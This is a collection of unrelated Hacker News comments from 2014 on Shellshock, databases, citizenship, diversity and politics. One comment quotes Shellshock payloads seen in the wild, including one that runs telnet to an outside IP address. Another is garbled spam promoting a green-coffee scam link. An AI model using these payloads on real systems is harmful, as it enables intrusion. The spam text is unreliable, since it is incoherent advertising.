skysight-inc/HackerNews huggingface dataset:
What an odd question. I imagine some of them are very nice people, but I would have no way to know.
> The structural process of changing the U.S. Code is not conducive to encourage restrictions on private industries.

That's just the lawmaking process. Which produces new and altered restrictions on private employers all the time.
With all due respect, I don't think that is "clear" at all. If you don't think about yourself first, you won't be able to help anyone else.
This is, of course, a parody of the article "Revisiting How We Put Together Linux Systems" (http://0pointer.net/blog/revisiting-how-we-put-together-linu...), and discussed at HN here: https://news.ycombinator.com/item?id=8251288
The "no true scotsman" fallacy is not a true fallacy.
Yes, you are still vulnerable. I happen to be on Mountain Lion instead of Mavericks, but you can easily check yourself.

$ /bin/sh --version
GNU bash, version 3.2.48(1)-release (x86_64-apple-darwin12)
Copyright (C) 2007 Free Software Foundation, Inc.

As long as you have a /bin/sh or /bin/bash that is of a vulnerable version, then any shell script which begins with #!/bin/sh or #!/bin/bash, and is executed in an environment that could have environment variables set by an attacker, could leave you vulnerable.

Installing a version via homebrew and setting it up in /etc/shells doesn't help. What you need to do is replace /bin/sh and /bin/bash. I don't know what effects this will have; it will likely work fine, but if you were to try it, I'd recommend backing up the old buggy versions first, so you could replace them if something went wrong. I'd recommend replacing them with a version as close as possible to what you were replacing, with just the one patch applied, as there may be scripts which behave subtly differently in Bash 4 vs Bash 3 that ships with OS X.
This is not my understanding. My understanding is that because this mechanism is intended to pass functions down to the system() call, all environment variables are parsed up front in case they contain any. Because the vulnerability lies in the parsing, it doesn't matter whether you reference the variable in the subsequent shell process or not.
On a hardened system you remove all unnecessary binaries completely. See, for example, PCI DSS section 2.2.5.

https://www.pcisecuritystandards.org/documents/PCI_DSS_v3.pd...
It would be useful to know what "huge" means here. And how you want to look up the data.

That said, I've used Cassandra in the past for timeseries data as one of the useful queries that can be made is a range query (if the composite key is set up correctly)
This type of article appears every few years. Frankly, I don't think the numbers are very impressive, and they seem to be declining.

"In 2013, 2,999 Americans renounced their citizenship; in 2014 so far, it’s a little more than 1,500 people."

The population of the US in 2012 was about 314 million. So 0.000009% renounced their citizenship...
I am so happy to see this program in place. We all talk about how most problems we have with diversity come from upstream, and now a school is directly addressing it. An objective solution to an objective problem.
Why would I want to use a browser made by a group that is seemingly mostly preoccupied with design judging from your website? You don't even disclose who is really behind this project. Especially browser security is more important than ever. When using one made by Google or Mozilla I can be sure that they do take security seriously, have the necessary experience, technical know-how and manpower to deal with vulnerabilities in a timely manner.
Why? There's actually a fairly well established body of sociological research to this question. It falls under the general rubric of this term known as "Elite Deviance":

https://www.goodreads.com/book/show/1381479.Elite_Deviance
Here's my question: Do you honestly believe that a poor white person from Appalachia, who has received very few advantages in life, deserves to lose out on this opportunity because his skin happens to be the wrong color?

Does he get fewer diversity points, even though his life experiences are so far removed from that of the white person growing up in, say, southern California, that they might as well have grown up in different countries?
Yahoo Transparency Report Update
Occupational Hazards of Working on Wall Street
My company is currently using Mongo, and while it works, I wouldn't recommend it. We're looking at Cassandra and Elasticsearch, which seems to be a lot more promising.
As a fellow Uruguayan, I want to add that citizenship comes without too many obligations; no military service or anything like that. The only one I can think of is that voting is compulsory.

On the other hand, I wouldn't recommend living in Uruguay; I had very good reasons to leave and I don't see myself returning anytime soon. And I'd argue any European passport is better than an Uruguay one - you can freely live and work in Europe, and you can visit the US without any visa.
If its only numbers, then Graphite with Grafana for visualization. Otherwise MongoDB can be good as well.
Have you considered opentsdb or graphite? I love graphite because of the nice frontend interface and functionality it provides for visualizing and transforming your metrics.
5 Psychological Challenges Facing Behavior Change Technology
Thank you a lot for such a great feedback!

I have been thinking a lot about almost every point here and I am going to implement some of them.

You said you don't have an iPhone, do you use an Android smartphone or something else?
Amazon markets their cloud infrastructure as having the ability to scale up at a moment's notice. If they don't have excess capacity, where am I going to scale to? Back to a colo environment?
You want the foreign earned income tax credit. I am designing my life around it!

Check out Belize and Costa Rica. Neither country will tax you at all. You even will qualify for a special residency visa!

Greeting from Greece!
I don't really have a great answer myself, personally. That's partly why I made my post to begin with.

However, one thing that I think would greatly help is a privacy notice of some sort detailing exactly what is tracked and how it's used. I don't see one on either the Play store page, nor in the app itself (your site seems to be loading slowly at the moment, or I'd look there too). While it may not completely remove my fears, it would at least serve as a good baseline and would make me feel a little better.

EDIT: Tried your site again, and found your privacy policy. I must say, I do like the way it is written as well as the content. Still, I would encourage maybe a link in the app, at least.
Google's contributions to making the web safer, faster, and generally more awesome cannot go upraised.

But as a small business owner under a rather crushing Google link penalty since 2011 I thought I offer my perspective.

First, it's important to note my penalty was absolutely not of my creation — I never bought, sold or traded links, and followed Google Web Master guidelines to the letter.

Unfortunately loads of spammy links I never created came home to roost in 2011 and I've been penalized ever since.

I've done my best to clean up but so far no relief has come.

So that out of the way my points:

1. People are certainly free to choose a different search engine and yes, plenty of alternatives exist. The problem is we don't appear to be using them anymore.

Although I'm just one example, last month's traffic numbers are quite telling:

328 hits from Google, 2 from Yahoo, and 1 immediate bounce from Bing.

Of the 328 Google hits, only 10 were for keyword searches. The rest we all for direct variants of my company name (rack forms, rack forms, and rack form).

The kicker: On Yahoo, Bing, and DuckDuckGo I'm page two or higher for keyword searches, on Google page 15 or lower.

Please let that sink in for a moment: despite being buried 15 pages deep in Google, I still got more keyword hits from them than I did from being a top result in three other search engines combined!

It was not like this just a few years years ago and it's frankly quite concerning.

Here's the rub: If you're a Google user, which over 98% of my potential users appear to be, because of my penalty you'll simply never know I exist, and if you're in the market for kick ass web form software that kinda stinks for you. I have a fantastic product!

Despite this living hell of a penalty I still believe in Google, and absolutely believe they mean well. I just really, really hope they can figure out a way to prevent spam without getting guys like me caught up in the middle of the fray.

For my business Google's market share is no longer academic, it's a tough reality that's becoming very difficult to ignore.
The number of horror stories I've seen about mongo is up to around 10 this month alone.

I'm now glad I never made the jump... in the meantime, pgsql is still on my list
Three Questions with the Man Who Grows Meat
Top Manhattan chef reveals secret junkie past
Aha, I found answers here: http://seclists.org/oss-sec/2014/q3/650

Basically, Bash interprets environment variables at start up as a means for you to pass functions into subshells. Whenever an environment variable's value starts with "() {", it is interpreted as a function, which is named according to the environment variable's name.

I guess even without the bug under discussion this feature is a theoretical security flaw. If you set your user agent to "() { ping your.domain.com}", a function named HTTP_USER_AGENT, which pinged your.domain.com would exist in any shellThe name of the function is passed as the Apache spawned. It's not hard to imagine a buggy script accidentally executing it.
The Definitive iPhone 6 Usability Review
If you know they have plans to fix it, it would be helpful if you would say so.
As a Moto 360 owner, I smile a little bit with each new released smart watch that's just another ugly rectangle
Can you explain the exit tax thing or give pointers? Does it apply to people on visa's like TN or H1B?
Buy Green Coffee Beans Herbal-Supplement Scam
this given up the tip yep on what time counted going up making a relief porn hooked up hope bicep don't know palm neck bugged changed be coming in just like 10 my back in aren't okay now to prosper grunt now my number I'm the pump no choice don't done down again re back into it billion notorious do you keep yep Good Hope training running a choice what boys up around let's go contract it was recognizedalright going to hold a hope for a go him to negative as good a negative always from tension will strengthen Mon polled just while word now what him back that's what you meant rest up of here with up dog Press to by that's it Brent keep lobby doing here not want jet overnight shift up On go County fun Buy Green Coffee Beans budget fir kin ID go don't done it can hollow all Fred Press present practice prep walkout bring an amp outside another by one outside number that doing revealed.
http://www.buygreencoffeebeans.org/
By default I mean that new users are given bash as sh by default, including the users for daemon services. So unless you assigned a different shell, or the service specifically asked for a shell other than the default linked by /bin/sh, then they will be running bash.
I wonder if there will ever be a time when there is a marketplace of citizenship. There are plenty of non-americans who want to become US citizens or immigrate legally. And at the same time there are US citizens going the other way.

An example could be an Italian wanting to move to the US because he works in Tech and a US citizen wanting to move to Italy because he works in Fashion. A marketplace would allow the two to work out a citizenship swap, with the necessary immigration paperwork.

In my view it is a win-win because

a. The immigration is two way.

b. In a global economy we can expect more and more people to move across countries. This service would facilitate that

c. The immigrants would want to do such a thing out of real interest in improving their lives and thereby the lives of their chosen country.

Given that Passports are a fairly new invention that's about a 100 years old, (thanks to the French and Germans just before WWI), I don't see why it can't be created.
If you're up for considering a cloud service, you might want to check out Treasure Data (http://treasuredata.com/).

The free plan allows 10M records per month with a maximum capacity of 150M.

Full disclosure: I work there.
> Are people in Australia seriously talking about getting him removed?

No.

The political climate in Australia has seriously deteriorated over the last decade and much political discourse is now indistinguishable from hysteria. The criticism being leveled at the Abbott government from progressives is very, very similar to what conservatives were saying about the Rudd/Gillard governments of the last 6 years - they're destroying the country, they don't represent the people, etc. Since the Internet is, in general, a more progressive place you're being exposed to a lot more of this hysteria than you would've been previously.[0]

> Does anyone even know what the process is in Australia to remove a Prime Minister?

The proper, established process is a Federal election. They happen every three years, and they give the electorate an opportunity to renew a government's mandate or to remove them from office as they see fit. At the last election, Tony Abbott was selected to be Prime Minister. He may or may not survive the next election, we shall see.

The new attitude in Australian politics of "I don't like this government - they should be summarily sacked" is despicable and anti-democratic. It seems to have infected both progressives and conservatives alike. It shows a complete lack of respect for the democratic process when one side decides that - since they don't like the new government's policies - they will simply ignore the fact that the government was duly and lawfully elected by the people. The dismissal of a government[1] is an extraordinary event that should only take place under extraordinary circumstances. The current circumstances are not extraordinary - progressives don't like a conservative government, what a surprise.

I don't agree with a lot of Mr. Abbott's policies, but as the Prime Minister of the country he should be afforded some respect. I will happily voice my disagreement with him, but I will not call for him to be dismissed. I will wait until the next Federal election and exercise my democratic rights then.

[0] Although it's an unpopular opinion, the conservatives had more reason to call for the Gillard Government's removal, as the hung parliament really placed the legitimacy of her mandate in question. Nonetheless, I think these types of criticisms are silly and hysterical coming from both sides.

[1] As another commenter mentioned, the Governor-General can dismiss the Government and trigger an election. This has only happened once, when the Whitlam Government was unable to pass supply bills through the Senate. This resulted in something similar to the US government shutdown that was experienced recently. This was a dark day in Australian politics and not something we should be eager to repeat - certainly not when the government is functioning (even if what it is doing is not particularly popular). "Well may we say 'God save the Queen' - because nothing will save the Governor General."
> Some of your documentation is 404ing.

Thanks, will fix momentarily! EDIT: fixed, thanks!

> How many dimensions are supported?

Two dimensions. The commands are designed primarily with Earth geometry in mind to help people build location-aware apps.

> Also, does this support many projections, or just a few.

It supports WGS84 (a commonly used ellipsoid model) or a unit sphere. Currently you can't use a plane. Check out http://rethinkdb.com/api/javascript/get_nearest/ for an example.

> Does this do a correct interpolation of degrees to meters along the path

The implementation is based on the S2 library (https://code.google.com/p/s2-geometry-library/) also used by PostGIS, which AFAIK does spherical linear interpolation.

> Are there commands to export WKT or WKB?

No, currently only GeoJSON (which you could later post-process and export to other formats with existing tools). This is a great idea, though, if there is more demand for it we'll definitely add other exporters.

EDIT: all great questions, I opened an issue in the doc repo (https://github.com/rethinkdb/docs/issues/521) -- we'll address all of these in the docs.
Totally off-topic for Hacker News, except... if he can go from junkie on the streets in 2007 to nationwide celebrity at his own startup 7 years later, can't you overcome whatever problems you have at your startup today?

I think you can.
It's not an odd question, it follows logically from what you have written. If Ellison is a "turd" for doing what basically every big tech firm has done (gaining a monopoly in a particular market) then they must all be turds too.
To get a relevant recommendation, you'll have to describe two things at least - data and queries. How is the data generated? What is stored in the data? What are the queries you plan to run?
How do I recompile Bash to avoid the remote exploit?
I've never seen white nitrile gloves. As one of the main use cases for nitrile is avoiding latex allergies they are almost always colored (usually blue or purple) to make it clear they aren't latex.
Try being a poor black person from Appalachia, who has received even less advantages in life (and in fact, many disadvantages).

The rub is that on average, people who aren't white have a way harder time in America, hence the need for these types of opportunities. It doesn't matter that one white person may have had a hard life, it matters that systemically, non-white people have many disadvantages that white people don't have.
Swift Is a Twice-in-a-Decade Opportunity for Developers
If you are an American living in the states you should care because bad tax policy is like a cold sore that never heals, and indication of a much deeper systemic problem. Because it is systemic, it will likely come around and affect you directly.

In many ways the tax code is the scab over the festering and oozing mass that is the budget that most represents the problems in the government that are going unsolved. If you want to find problems to solve, that is where you will find them.
Okay so, not so long ago they were only providing grants to women. Did I think to myself oh that's sexist? No, you know why? Because I'm pretty sure they provide the grants to people with needs (at the end of the applying form you check a box that says you'd need financial aid). Yes, they're using filters like gender and race first.

But if you were a white male, you live in a society where you could probably approach any hacker space or anything else without feeling weird about it, unlike many trans*, queer or black/latin@ people. That's the way they're promoting diversity, by creating spaces where people can feel more welcome/safe, they're in no way denying white people or males.
Exactly so. If I want PORTABLE, I write to "sh". If I want BASH, I write to BASH. The term "decent shell script" is wrong the way he uses it.
Here's the definition of racism: prejudice, discrimination, or antagonism directed against someone of a different race based on the belief that one's own race is superior.

How exactly does that apply to a program that's created to help groups that have a systemic disadvantage in this country?
This is really cool, although leaving that size of fresnel lens uncovered makes me nervous.
I really don't understand this obsession with diversity in tech, particularly the oft-repeated mantra of "the team as a whole improves when there's more ethnic/gender diversity", as if being black or genderqueer gives you special insight into distributed computing algorithms. This seems like a uniquely American phenomenon. I certainly don't think you hear a lot about this in India, China, Japan, etc. And yet, their companies still manage to function.
TripMaker - Be productive in your next trip
I have not used it but will be experimenting with influxdb soon for storing timeseries data.
OK, I read the entire article, it was interesting.

Unfortunately, I read the entire article, including the last paragraph. That last paragraph killed it for me. Completely uncalled for statement that had NOTHING to do with purpose of the hackathon, and the only point of the statement was to negated any and all accomplishment of the attendees. Because those other items were not solved, all is for nothing.

I still have respect for the attendees, great job. I have none for the reporter (and editor).
Looks great! I'm going to try this out
As an industry, we used to be in favor of approaching meritocracy as a goal. We'd take pride in using github in lieu of a resume, difficult technical tests, and general attempts at objectivity.

Strangely, the pushback against meritocracy as a goal and objective measurement as a method doesn't come from the alleged "good old boy" network.

http://readwrite.com/2014/01/24/github-meritocracy-rug

http://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-an...
Have a look at TempoDB - built specifically for timeseries data (https://tempo-db.com/about/)
> there have to be some obligations for citizens to go along with the rights they have

US Citizens abroad have no real legal rights.

edit: All the downvoters want to weigh in on exactly what a US citizen living outside of the US gains in terms of "rights?"
Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up.

() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22
() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq
There are many people who do not even know they are US citizens!
Every kid of an expat may not know they are actually considered naturalized US citizens. In fact, the US Consulate won't even tell you the truth!
What do you mean by "the only way to hold e.g. USD is to be incorporated on US soil"? I have some USD and thankfully have no relation to the US. Do you mean bank regulations? That seems to contradict for example Lloyds Bank in the UK having current accounts in USD.
Why can it not be both? Congress only passes the Tax Code, the IRS on the other hand has a liberal mandate into how they go about doing their job. They are quite tyrannical when it comes to fees and penalties. They also don't need a court order to garnish your wages or confiscate your property.
Well, that's fine, but do you also want to argue that women and pacific islanders, on average, have received fewer advantages than poor white people from Appalachia?
I suppose, you need a column-oriented database http://en.wikipedia.org/wiki/Column-oriented_DBMS
I've used Sybase for huge telecom-statistical database.
Faster Unsigned Division by Constants (2011)
The data is going to be sensor readings. Just numeric readouts over time. There will probably be about 8-16 physical sensor points per person per reading. I'll want to retrieve slices of time rather than individual records and likely produce some averages/basic algebra over those slices in order to produce more meaningful data for the rest of the system which is pretty vanilla in terms of data requirements.
How to Position Your SaaS Product
Startups, do not take the Marketing out of Social Media Marketing
kdb+/q is commonly used in the financial world for these types of problems. They have a 32bit for free, and you can ask them about pricing on the 64bit version.

http://kx.com/
Kx (http://kx.com) has been around forever and has a good rep for this sort of thing.